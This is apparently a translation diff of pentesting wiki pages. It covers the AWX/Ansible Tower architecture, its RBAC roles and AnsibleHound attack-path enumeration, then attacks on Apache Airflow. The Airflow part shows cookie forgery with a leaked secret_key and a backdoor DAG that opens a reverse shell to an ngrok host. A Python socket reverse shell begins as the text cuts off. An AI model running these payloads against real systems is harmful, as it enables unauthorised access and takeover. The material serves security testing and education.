- **Schedulers and Callbacks**: ये AWX/Tower में उन्नत सुविधाएँ हैं जो **नौकरियों को विशिष्ट समय पर चलाने** या बाहरी घटनाओं द्वारा ट्रिगर करने की अनुमति देती हैं।
|
||||
- **Notifications**: AWX/Tower नौकरी की सफलता या विफलता के आधार पर सूचनाएँ भेज सकता है। यह ईमेल, Slack संदेश, वेबहुक, आदि जैसी विभिन्न सूचनाओं के तरीकों का समर्थन करता है।
|
||||
- **Ansible Playbooks**: Ansible प्लेबुक कॉन्फ़िगरेशन, तैनाती, और ऑर्केस्ट्रेशन उपकरण हैं। वे स्वचालित, दोहराने योग्य तरीके से प्रणालियों की इच्छित स्थिति का वर्णन करते हैं। YAML में लिखी गई, प्लेबुक Ansible की घोषणात्मक स्वचालन भाषा का उपयोग करके कॉन्फ़िगरेशन, कार्य, और चरणों का वर्णन करती हैं जिन्हें निष्पादित करने की आवश्यकता होती है।
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
|
||||
- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
|
||||
- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
|
||||
- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
|
||||
- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
|
||||
- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
|
||||
|
||||
### Job Execution Flow
|
||||
|
||||
1. **User Interaction**: एक उपयोगकर्ता AWX/Tower के साथ **Web Interface** या **REST API** के माध्यम से इंटरैक्ट कर सकता है। ये AWX/Tower द्वारा प्रदान की गई सभी कार्यक्षमताओं के लिए फ्रंट-एंड पहुँच प्रदान करते हैं।
|
||||
1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
|
||||
2. **Job Initiation**:
|
||||
- उपयोगकर्ता, वेब इंटरफ़ेस या API के माध्यम से, एक **Job Template** के आधार पर नौकरी शुरू करता है।
|
||||
- नौकरी टेम्पलेट में **Inventory**, **Project** (जिसमें प्लेबुक है), और **Credentials** के संदर्भ शामिल होते हैं।
|
||||
- नौकरी शुरू करने पर, AWX/Tower बैकएंड को निष्पादन के लिए नौकरी को कतार में लगाने के लिए एक अनुरोध भेजा जाता है।
|
||||
- The user, via the Web Interface or API, initiates a job based on a **Job Template**.
|
||||
- The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
|
||||
- Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
|
||||
3. **Job Queuing**:
|
||||
- **RabbitMQ** वेब घटक और कार्य चलाने वालों के बीच संदेशों को संभालता है। एक बार जब नौकरी शुरू होती है, तो RabbitMQ का उपयोग करके कार्य इंजन को एक संदेश भेजा जाता है।
|
||||
- **Redis** कार्य कतार के लिए बैकएंड के रूप में कार्य करता है, निष्पादन की प्रतीक्षा कर रहे कतारबद्ध नौकरियों का प्रबंधन करता है।
|
||||
- **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
|
||||
- **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
|
||||
4. **Job Execution**:
|
||||
- **Task Engine** कतारबद्ध नौकरी को उठाता है। यह नौकरी से संबंधित प्लेबुक, इन्वेंटरी, और क्रेडेंशियल के बारे में आवश्यक जानकारी **Database** से प्राप्त करता है।
|
||||
- संबंधित **Project** से प्राप्त Ansible प्लेबुक का उपयोग करते हुए, कार्य इंजन निर्दिष्ट **Inventory** नोड्स के खिलाफ प्लेबुक चलाता है, प्रदान किए गए **Credentials** का उपयोग करते हुए।
|
||||
- जैसे-जैसे प्लेबुक चलती है, इसका निष्पादन आउटपुट (लॉग, तथ्य, आदि) कैप्चर किया जाता है और **Database** में संग्रहीत किया जाता है।
|
||||
- The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
|
||||
- Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
|
||||
- As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
|
||||
5. **Job Results**:
|
||||
- एक बार जब प्लेबुक चलना समाप्त हो जाता है, तो परिणाम (सफलता, विफलता, लॉग) **Database** में सहेजे जाते हैं।
|
||||
- उपयोगकर्ता फिर वेब इंटरफ़ेस के माध्यम से परिणाम देख सकते हैं या उन्हें REST API के माध्यम से क्वेरी कर सकते हैं।
|
||||
- नौकरी के परिणामों के आधार पर, **Notifications** उपयोगकर्ताओं या बाहरी प्रणालियों को नौकरी की स्थिति के बारे में सूचित करने के लिए भेजी जा सकती हैं। सूचनाएँ ईमेल, Slack संदेश, वेबहुक, आदि हो सकती हैं।
|
||||
- Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
|
||||
- Users can then view the results through the Web Interface or query them via the REST API.
|
||||
- Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
|
||||
6. **External Systems Integration**:
|
||||
- **Inventories** को बाहरी प्रणालियों से गतिशील रूप से स्रोत किया जा सकता है, जिससे AWX/Tower AWS, Azure, VMware, और अधिक जैसे स्रोतों से होस्ट खींच सकता है।
|
||||
- **Projects** (प्लेबुक) को संस्करण नियंत्रण प्रणालियों से खींचा जा सकता है, यह सुनिश्चित करते हुए कि नौकरी निष्पादन के दौरान अद्यतन प्लेबुक का उपयोग किया जाए।
|
||||
- **Schedulers and Callbacks** का उपयोग अन्य प्रणालियों या उपकरणों के साथ एकीकृत करने के लिए किया जा सकता है, जिससे AWX/Tower बाहरी ट्रिगर्स पर प्रतिक्रिया कर सके या पूर्व निर्धारित समय पर नौकरियाँ चला सके।
|
||||
- **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
|
||||
- **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
|
||||
- **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
|
||||
|
||||
### AWX lab creation for testing
|
||||
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) यह संभव है कि docker-compose का उपयोग करके AWX चलाया जा सके:
|
||||
[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
|
||||
|
||||
```bash
|
||||
git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
|
||||
|
||||
@@ -82,76 +83,77 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
|
||||
# Load demo data
|
||||
docker exec tools_awx_1 awx-manage create_preload_data
|
||||
```
|
||||
|
||||
## RBAC
|
||||
|
||||
### Supported roles
|
||||
|
||||
सबसे अधिक विशेषाधिकार प्राप्त भूमिका को **System Administrator** कहा जाता है। इस भूमिका के साथ कोई भी **कुछ भी संशोधित** कर सकता है।
|
||||
The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
|
||||
|
||||
एक **white box security** समीक्षा के लिए, आपको **System Auditor role** की आवश्यकता होगी, जो **सभी सिस्टम डेटा को देखने** की अनुमति देती है लेकिन कोई परिवर्तन नहीं कर सकती। एक और विकल्प **Organization Auditor role** प्राप्त करना होगा, लेकिन बेहतर होगा कि आप दूसरी भूमिका प्राप्त करें।
|
||||
From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>उपलब्ध भूमिकाओं का विस्तृत विवरण प्राप्त करने के लिए इसे विस्तारित करें</summary>
|
||||
<summary>Expand this to get detailed description of available roles</summary>
|
||||
|
||||
1. **System Administrator**:
|
||||
- यह सुपरयूजर भूमिका है जिसमें सिस्टम में किसी भी संसाधन तक पहुंचने और उसे संशोधित करने की अनुमति है।
|
||||
- वे सभी संगठनों, टीमों, परियोजनाओं, इन्वेंटरी, नौकरी टेम्पलेट आदि का प्रबंधन कर सकते हैं।
|
||||
- This is the superuser role with permissions to access and modify any resource in the system.
|
||||
- They can manage all organizations, teams, projects, inventories, job templates, etc.
|
||||
2. **System Auditor**:
|
||||
- इस भूमिका वाले उपयोगकर्ता सभी सिस्टम डेटा को देख सकते हैं लेकिन कोई परिवर्तन नहीं कर सकते।
|
||||
- यह भूमिका अनुपालन और निगरानी के लिए डिज़ाइन की गई है।
|
||||
- Users with this role can view all system data but cannot make any changes.
|
||||
- This role is designed for compliance and oversight.
|
||||
3. **Organization Roles**:
|
||||
- **Admin**: संगठन के संसाधनों पर पूर्ण नियंत्रण।
|
||||
- **Auditor**: संगठन के संसाधनों तक केवल देखने की पहुंच।
|
||||
- **Member**: संगठन में बिना किसी विशेष अनुमति के बुनियादी सदस्यता।
|
||||
- **Execute**: संगठन के भीतर नौकरी टेम्पलेट चला सकते हैं।
|
||||
- **Read**: संगठन के संसाधनों को देख सकते हैं।
|
||||
- **Admin**: Full control over the organization's resources.
|
||||
- **Auditor**: View-only access to the organization's resources.
|
||||
- **Member**: Basic membership in an organization without any specific permissions.
|
||||
- **Execute**: Can run job templates within the organization.
|
||||
- **Read**: Can view the organization’s resources.
|
||||
4. **Project Roles**:
|
||||
- **Admin**: परियोजना का प्रबंधन और संशोधन कर सकते हैं।
|
||||
- **Use**: नौकरी टेम्पलेट में परियोजना का उपयोग कर सकते हैं।
|
||||
- **Update**: SCM (source control) का उपयोग करके परियोजना को अपडेट कर सकते हैं।
|
||||
- **Admin**: Can manage and modify the project.
|
||||
- **Use**: Can use the project in a job template.
|
||||
- **Update**: Can update project using SCM (source control).
|
||||
5. **Inventory Roles**:
|
||||
- **Admin**: इन्वेंटरी का प्रबंधन और संशोधन कर सकते हैं।
|
||||
- **Ad Hoc**: इन्वेंटरी पर अद हॉक कमांड चला सकते हैं।
|
||||
- **Update**: इन्वेंटरी स्रोत को अपडेट कर सकते हैं।
|
||||
- **Use**: नौकरी टेम्पलेट में इन्वेंटरी का उपयोग कर सकते हैं।
|
||||
- **Read**: केवल देखने की पहुंच।
|
||||
- **Admin**: Can manage and modify the inventory.
|
||||
- **Ad Hoc**: Can run ad hoc commands on the inventory.
|
||||
- **Update**: Can update the inventory source.
|
||||
- **Use**: Can use the inventory in a job template.
|
||||
- **Read**: View-only access.
|
||||
6. **Job Template Roles**:
|
||||
- **Admin**: नौकरी टेम्पलेट का प्रबंधन और संशोधन कर सकते हैं।
|
||||
- **Execute**: नौकरी चला सकते हैं।
|
||||
- **Read**: केवल देखने की पहुंच।
|
||||
- **Admin**: Can manage and modify the job template.
|
||||
- **Execute**: Can run the job.
|
||||
- **Read**: View-only access.
|
||||
7. **Credential Roles**:
|
||||
- **Admin**: क्रेडेंशियल्स का प्रबंधन और संशोधन कर सकते हैं।
|
||||
- **Use**: नौकरी टेम्पलेट या अन्य संबंधित संसाधनों में क्रेडेंशियल्स का उपयोग कर सकते हैं।
|
||||
- **Read**: केवल देखने की पहुंच।
|
||||
- **Admin**: Can manage and modify the credentials.
|
||||
- **Use**: Can use the credentials in job templates or other relevant resources.
|
||||
- **Read**: View-only access.
|
||||
8. **Team Roles**:
|
||||
- **Member**: टीम का हिस्सा लेकिन बिना किसी विशेष अनुमति के।
|
||||
- **Admin**: टीम के सदस्यों और संबंधित संसाधनों का प्रबंधन कर सकते हैं।
|
||||
- **Member**: Part of the team but without any specific permissions.
|
||||
- **Admin**: Can manage the team's members and associated resources.
|
||||
9. **Workflow Roles**:
|
||||
- **Admin**: कार्यप्रवाह का प्रबंधन और संशोधन कर सकते हैं।
|
||||
- **Execute**: कार्यप्रवाह चला सकते हैं।
|
||||
- **Read**: केवल देखने की पहुंच।
|
||||
- **Admin**: Can manage and modify the workflow.
|
||||
- **Execute**: Can run the workflow.
|
||||
- **Read**: View-only access.
|
||||
|
||||
</details>
|
||||
|
||||
## Enumeration & Attack-Path Mapping with AnsibleHound
|
||||
|
||||
`AnsibleHound` एक ओपन-सोर्स BloodHound *OpenGraph* कलेक्टर है जो Go में लिखा गया है, जो एक **read-only** Ansible Tower/AWX/Automation Controller API टोकन को एक पूर्ण अनुमति ग्राफ में बदल देता है जिसे BloodHound (या BloodHound Enterprise) के अंदर विश्लेषण के लिए तैयार किया गया है।
|
||||
`AnsibleHound` is an open-source BloodHound *OpenGraph* collector written in Go that turns a **read-only** Ansible Tower/AWX/Automation Controller API token into a complete permission graph ready to be analysed inside BloodHound (or BloodHound Enterprise).
|
||||
|
||||
### यह क्यों उपयोगी है?
|
||||
1. Tower/AWX REST API अत्यंत समृद्ध है और **हर ऑब्जेक्ट और RBAC संबंध** को उजागर करता है जो आपकी इंस्टेंस जानती है।
|
||||
2. सबसे कम विशेषाधिकार (**Read**) टोकन के साथ भी सभी सुलभ संसाधनों (संगठन, इन्वेंटरी, होस्ट, क्रेडेंशियल्स, परियोजनाएं, नौकरी टेम्पलेट, उपयोगकर्ता, टीमें…) को पुनरावृत्त रूप से सूचीबद्ध करना संभव है।
|
||||
3. जब कच्चे डेटा को BloodHound स्कीमा में परिवर्तित किया जाता है, तो आपको वही *attack-path* दृश्यता क्षमताएं मिलती हैं जो Active Directory आकलनों में इतनी लोकप्रिय हैं - लेकिन अब आपके CI/CD संपत्ति पर निर्देशित हैं।
|
||||
### Why is this useful?
|
||||
1. The Tower/AWX REST API is extremely rich and exposes **every object and RBAC relationship** your instance knows about.
|
||||
2. Even with the lowest privilege (**Read**) token it is possible to recursively enumerate all accessible resources (organisations, inventories, hosts, credentials, projects, job templates, users, teams…).
|
||||
3. When the raw data is converted to the BloodHound schema you obtain the same *attack-path* visualisation capabilities that are so popular in Active Directory assessments – but now directed at your CI/CD estate.
|
||||
|
||||
सुरक्षा टीमें (और हमलावर!) इसलिए:
|
||||
* जल्दी से समझ सकते हैं **कौन क्या का एडमिन बन सकता है**।
|
||||
* **क्रेडेंशियल्स या होस्ट की पहचान करें जो एक अप्रिविलेज्ड खाते से पहुंच योग्य हैं**।
|
||||
* पूर्ण नियंत्रण प्राप्त करने के लिए कई “Read ➜ Use ➜ Execute ➜ Admin” किनारों को जोड़ सकते हैं Tower इंस्टेंस या अंतर्निहित बुनियादी ढांचे पर।
|
||||
Security teams (and attackers!) can therefore:
|
||||
* Quickly understand **who can become admin of what**.
|
||||
* Identify **credentials or hosts that are reachable** from an unprivileged account.
|
||||
* Chain multiple “Read ➜ Use ➜ Execute ➜ Admin” edges to obtain full control over the Tower instance or the underlying infrastructure.
|
||||
|
||||
### Prerequisites
|
||||
* Ansible Tower / AWX / Automation Controller जो HTTPS के माध्यम से पहुंच योग्य है।
|
||||
* एक उपयोगकर्ता API टोकन जो केवल **Read** के लिए स्कोप किया गया है (जो *User Details → Tokens → Create Token → scope = Read* से बनाया गया है)।
|
||||
* कलेक्टर को संकलित करने के लिए Go ≥ 1.20 (या पूर्व-निर्मित बाइनरी का उपयोग करें)।
|
||||
* Ansible Tower / AWX / Automation Controller reachable over HTTPS.
|
||||
* A user API token scoped to **Read** only (created from *User Details → Tokens → Create Token → scope = Read*).
|
||||
* Go ≥ 1.20 to compile the collector (or use the pre-built binaries).
|
||||
|
||||
### Building & Running
|
||||
```bash
|
||||
@@ -162,7 +164,7 @@ go build . -o build/ansiblehound
|
||||
# Execute against the target instance
|
||||
./build/ansiblehound -u "https://tower.example.com/" -t "READ_ONLY_TOKEN"
|
||||
```
|
||||
आंतरिक रूप से AnsibleHound *पैगिनेटेड* `GET` अनुरोधों को (कम से कम) निम्नलिखित एंडपॉइंट्स के खिलाफ करता है और हर JSON ऑब्जेक्ट में लौटाए गए `related` लिंक का स्वचालित रूप से पालन करता है:
|
||||
Internally AnsibleHound performs *paginated* `GET` requests against (at least) the following endpoints and automatically follows the `related` links returned in every JSON object:
|
||||
```
|
||||
/api/v2/organizations/
|
||||
/api/v2/inventories/
|
||||
@@ -173,32 +175,37 @@ go build . -o build/ansiblehound
|
||||
/api/v2/users/
|
||||
/api/v2/teams/
|
||||
```
|
||||
सभी एकत्रित पृष्ठों को डिस्क पर एकल JSON फ़ाइल में मर्ज किया जाता है (डिफ़ॉल्ट: `ansiblehound-output.json`)।
|
||||
All collected pages are merged into a single JSON file on disk (default: `ansiblehound-output.json`).
|
||||
|
||||
### BloodHound Transformation
|
||||
कच्चे Tower डेटा को फिर **BloodHound OpenGraph** में परिवर्तित किया जाता है, जिसमें `AT` (Ansible Tower) से पूर्ववर्ती कस्टम नोड्स होते हैं:
|
||||
The raw Tower data is then **transformed to BloodHound OpenGraph** using custom nodes prefixed with `AT` (Ansible Tower):
|
||||
* `ATOrganization`, `ATInventory`, `ATHost`, `ATJobTemplate`, `ATProject`, `ATCredential`, `ATUser`, `ATTeam`
|
||||
|
||||
और संबंधों / विशेषाधिकारों को मॉडलिंग करने वाले किनारे:
|
||||
And edges modelling relationships / privileges:
|
||||
* `ATContains`, `ATUses`, `ATExecute`, `ATRead`, `ATAdmin`
|
||||
|
||||
परिणाम को सीधे BloodHound में आयात किया जा सकता है:
|
||||
The result can be imported straight into BloodHound:
|
||||
```bash
|
||||
neo4j stop # if BloodHound CE is running locally
|
||||
bloodhound-import ansiblehound-output.json
|
||||
```
|
||||
आप वैकल्पिक रूप से **कस्टम आइकन** अपलोड कर सकते हैं ताकि नए नोड प्रकार दृश्य रूप से भिन्न हों:
|
||||
|
||||
Optionally you can upload **custom icons** so that the new node types are visually distinct:
|
||||
```bash
|
||||
python3 scripts/import-icons.py "https://bloodhound.example.com" "BH_JWT_TOKEN"
|
||||
```
|
||||
|
||||
### Defensive & Offensive Considerations
|
||||
* एक *Read* टोकन सामान्यतः हानिरहित माना जाता है लेकिन फिर भी **पूर्ण टोपोलॉजी और हर क्रेडेंशियल मेटाडेटा** लीक करता है। इसे संवेदनशील मानें!
|
||||
* **कम से कम विशेषाधिकार** लागू करें और अप्रयुक्त टोकनों को घुमाएँ / रद्द करें।
|
||||
* अत्यधिक अनुक्रमण (कई अनुक्रमिक `GET` अनुरोध, उच्च पृष्ठन गतिविधि) के लिए API की निगरानी करें।
|
||||
* हमलावर के दृष्टिकोण से, यह CI/CD पाइपलाइन के भीतर *प्रारंभिक पैर जमाना → विशेषाधिकार वृद्धि* तकनीक के लिए एकदम सही है।
|
||||
* A *Read* token is normally considered harmless but still leaks the **full topology and every credential metadata**. Treat it as sensitive!
|
||||
* Enforce **least privilege** and rotate / revoke unused tokens.
|
||||
* Monitor the API for excessive enumeration (multiple sequential `GET` requests, high pagination activity).
|
||||
* From an attacker perspective this is a perfect *initial foothold → privilege escalation* technique inside the CI/CD pipeline.
|
||||
|
||||
## References
|
||||
* [AnsibleHound – BloodHound Collector for Ansible Tower/AWX](https://github.com/TheSleekBoyCompany/AnsibleHound)
|
||||
* [BloodHound OSS](https://github.com/BloodHoundAD/BloodHound)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,19 +4,20 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) **डेटा पाइपलाइनों या वर्कफ़्लो को व्यवस्थित और शेड्यूल करने के लिए एक प्लेटफ़ॉर्म के रूप में कार्य करता है**। डेटा पाइपलाइनों के संदर्भ में "व्यवस्थापन" का अर्थ विभिन्न स्रोतों से उत्पन्न जटिल डेटा वर्कफ़्लो को व्यवस्थित, समन्वयित और प्रबंधित करने की प्रक्रिया है। इन व्यवस्थित डेटा पाइपलाइनों का प्राथमिक उद्देश्य संसाधित और उपभोग करने योग्य डेटा सेट प्रदान करना है। ये डेटा सेट कई अनुप्रयोगों द्वारा व्यापक रूप से उपयोग किए जाते हैं, जिनमें व्यवसायिक बुद्धिमत्ता उपकरण, डेटा विज्ञान और मशीन लर्निंग मॉडल शामिल हैं, जो सभी बड़े डेटा अनुप्रयोगों के कार्य करने के लिए आधारभूत हैं।
|
||||
[**Apache Airflow**](https://airflow.apache.org) serves as a platform for **orchestrating and scheduling data pipelines or workflows**. The term "orchestration" in the context of data pipelines signifies the process of arranging, coordinating, and managing complex data workflows originating from various sources. The primary purpose of these orchestrated data pipelines is to furnish processed and consumable data sets. These data sets are extensively utilized by a myriad of applications, including but not limited to business intelligence tools, data science and machine learning models, all of which are foundational to the functioning of big data applications.
|
||||
|
||||
बुनियादी रूप से, Apache Airflow आपको **कोड के निष्पादन को शेड्यूल करने की अनुमति देगा जब कुछ** (घटना, क्रोन) **होता है**।
|
||||
Basically, Apache Airflow will allow you to **schedule the execution of code when something** (event, cron) **happens**.
|
||||
|
||||
### Local Lab
|
||||
|
||||
#### Docker-Compose
|
||||
|
||||
आप **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) का उपयोग करके एक पूर्ण apache airflow docker वातावरण लॉन्च कर सकते हैं। (यदि आप MacOS पर हैं, तो सुनिश्चित करें कि आप docker VM को कम से कम 6GB RAM दें)।
|
||||
You can use the **docker-compose config file from** [**https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml**](https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml) to launch a complete apache airflow docker environment. (If you are in MacOS make sure to give at least 6GB of RAM to the docker VM).
|
||||
|
||||
#### Minikube
|
||||
|
||||
**apache airflo**w को चलाने का एक आसान तरीका है **minikube के साथ इसे चलाना**:
|
||||
One easy way to **run apache airflo**w is to run it **with minikube**:
|
||||
|
||||
```bash
|
||||
helm repo add airflow-stable https://airflow-helm.github.io/charts
|
||||
helm repo update
|
||||
@@ -26,9 +27,10 @@ helm install airflow-release airflow-stable/airflow
|
||||
# Use this command to delete it
|
||||
helm delete airflow-release
|
||||
```
|
||||
|
||||
### Airflow Configuration
|
||||
|
||||
Airflow अपनी **संवेदनशील जानकारी** को अपनी कॉन्फ़िगरेशन में स्टोर कर सकता है या आप कमजोर कॉन्फ़िगरेशन पा सकते हैं:
|
||||
Airflow might store **sensitive information** in its configuration or you can find weak configurations in place:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -36,7 +38,7 @@ airflow-configuration.md
|
||||
|
||||
### Airflow RBAC
|
||||
|
||||
Airflow पर हमला करने से पहले आपको **अनुमतियों का काम कैसे होता है** समझना चाहिए:
|
||||
Before start attacking Airflow you should understand **how permissions work**:
|
||||
|
||||
{{#ref}}
|
||||
airflow-rbac.md
|
||||
@@ -46,52 +48,55 @@ airflow-rbac.md
|
||||
|
||||
#### Web Console Enumeration
|
||||
|
||||
यदि आपके पास **वेब कंसोल तक पहुंच** है, तो आप निम्नलिखित जानकारी में से कुछ या सभी तक पहुंच सकते हैं:
|
||||
If you have **access to the web console** you might be able to access some or all of the following information:
|
||||
|
||||
- **Variables** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
|
||||
- **Connections** (कस्टम संवेदनशील जानकारी यहां स्टोर की जा सकती है)
|
||||
- उन्हें `http://<airflow>/connection/list/` में एक्सेस करें
|
||||
- [**Configuration**](./#airflow-configuration) (संवेदनशील जानकारी जैसे **`secret_key`** और पासवर्ड यहां स्टोर किए जा सकते हैं)
|
||||
- **users & roles** की सूची
|
||||
- **Code of each DAG** (जिसमें दिलचस्प जानकारी हो सकती है)
|
||||
- **Variables** (Custom sensitive information might be stored here)
|
||||
- **Connections** (Custom sensitive information might be stored here)
|
||||
- Access them in `http://<airflow>/connection/list/`
|
||||
- [**Configuration**](#airflow-configuration) (Sensitive information like the **`secret_key`** and passwords might be stored here)
|
||||
- List **users & roles**
|
||||
- **Code of each DAG** (which might contain interesting info)
|
||||
|
||||
#### Retrieve Variables Values
|
||||
|
||||
Variables को Airflow में स्टोर किया जा सकता है ताकि **DAGs** उनके मानों को **एक्सेस** कर सकें। यह अन्य प्लेटफार्मों के रहस्यों के समान है। यदि आपके पास **पर्याप्त अनुमतियाँ** हैं, तो आप उन्हें GUI में `http://<airflow>/variable/list/` में एक्सेस कर सकते हैं।\
|
||||
Airflow डिफ़ॉल्ट रूप से GUI में वेरिएबल का मान दिखाएगा, हालाँकि, [**इस**](https://marclamberti.com/blog/variables-with-apache-airflow/) के अनुसार, एक **वेरिएबल्स की सूची** सेट करना संभव है जिसका **मान** GUI में **अतिरिक्त चिह्नों** के रूप में दिखाई देगा।
|
||||
Variables can be stored in Airflow so the **DAGs** can **access** their values. It's similar to secrets of other platforms. If you have **enough permissions** you can access them in the GUI in `http://<airflow>/variable/list/`.\
|
||||
Airflow by default will show the value of the variable in the GUI, however, according to [**this**](https://marclamberti.com/blog/variables-with-apache-airflow/) it's possible to set a **list of variables** whose **value** will appear as **asterisks** in the **GUI**.
|
||||
|
||||
.png>)
|
||||
|
||||
हालांकि, ये **मान** अभी भी **CLI** के माध्यम से **प्राप्त** किए जा सकते हैं (आपको DB एक्सेस होना चाहिए), **मनमाने DAG** निष्पादन, **API** के माध्यम से वेरिएबल्स एंडपॉइंट तक पहुंच (API को सक्रिय करना आवश्यक है), और **यहां तक कि GUI स्वयं!**\
|
||||
GUI से उन मानों तक पहुंचने के लिए बस **वेरिएबल्स** का चयन करें जिन्हें आप एक्सेस करना चाहते हैं और **Actions -> Export** पर क्लिक करें।\
|
||||
एक और तरीका है **छिपे हुए मान** पर **ब्रूटफोर्स** करना, इसे **खोज फ़िल्टरिंग** का उपयोग करके जब तक आप इसे प्राप्त न कर लें:
|
||||
However, these **values** can still be **retrieved** via **CLI** (you need to have DB access), **arbitrary DAG** execution, **API** accessing the variables endpoint (the API needs to be activated), and **even the GUI itself!**\
|
||||
To access those values from the GUI just **select the variables** you want to access and **click on Actions -> Export**.\
|
||||
Another way is to perform a **bruteforce** to the **hidden value** using the **search filtering** it until you get it:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalation
|
||||
|
||||
यदि **`expose_config`** कॉन्फ़िगरेशन **True** पर सेट है, तो **User** भूमिका और **ऊपर** से **वेब में कॉन्फ़िग** को **पढ़** सकते हैं। इस कॉन्फ़िगरेशन में, **`secret_key`** दिखाई देता है, जिसका अर्थ है कि इस मान्य के साथ कोई भी उपयोगकर्ता **अपना स्वयं का साइन किया हुआ कुकी बना सकता है ताकि किसी अन्य उपयोगकर्ता खाते का अनुकरण कर सके**।
|
||||
If the **`expose_config`** configuration is set to **True**, from the **role User** and **upwards** can **read** the **config in the web**. In this config, the **`secret_key`** appears, which means any user with this valid they can **create its own signed cookie to impersonate any other user account**.
|
||||
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG बैकडोर (Airflow कार्यकर्ता में RCE)
|
||||
|
||||
यदि आपके पास **लिखने की अनुमति** है जहाँ **DAGs सहेजे जाते हैं**, तो आप बस **एक बना सकते हैं** जो आपको एक **रिवर्स शेल** भेजेगा।\
|
||||
ध्यान दें कि यह रिवर्स शेल एक **airflow कार्यकर्ता कंटेनर** के अंदर निष्पादित होने वाला है:
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
|
||||
If you have **write access** to the place where the **DAGs are saved**, you can just **create one** that will send you a **reverse shell.**\
|
||||
Note that this reverse shell is going to be executed inside an **airflow worker container**:
|
||||
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
from airflow.operators.bash import BashOperator
|
||||
|
||||
with DAG(
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
dag_id='rev_shell_bash',
|
||||
schedule_interval='0 0 * * *',
|
||||
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
|
||||
) as dag:
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
run = BashOperator(
|
||||
task_id='run',
|
||||
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433 0>&1',
|
||||
)
|
||||
```
|
||||
|
||||
```python
|
||||
@@ -100,66 +105,74 @@ from airflow import DAG
|
||||
from airflow.operators.python import PythonOperator
|
||||
|
||||
def rs(rhost, port):
|
||||
s = socket.socket()
|
||||
s.connect((rhost, port))
|
||||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn("/bin/sh")
|
||||
s = socket.socket()
|
||||
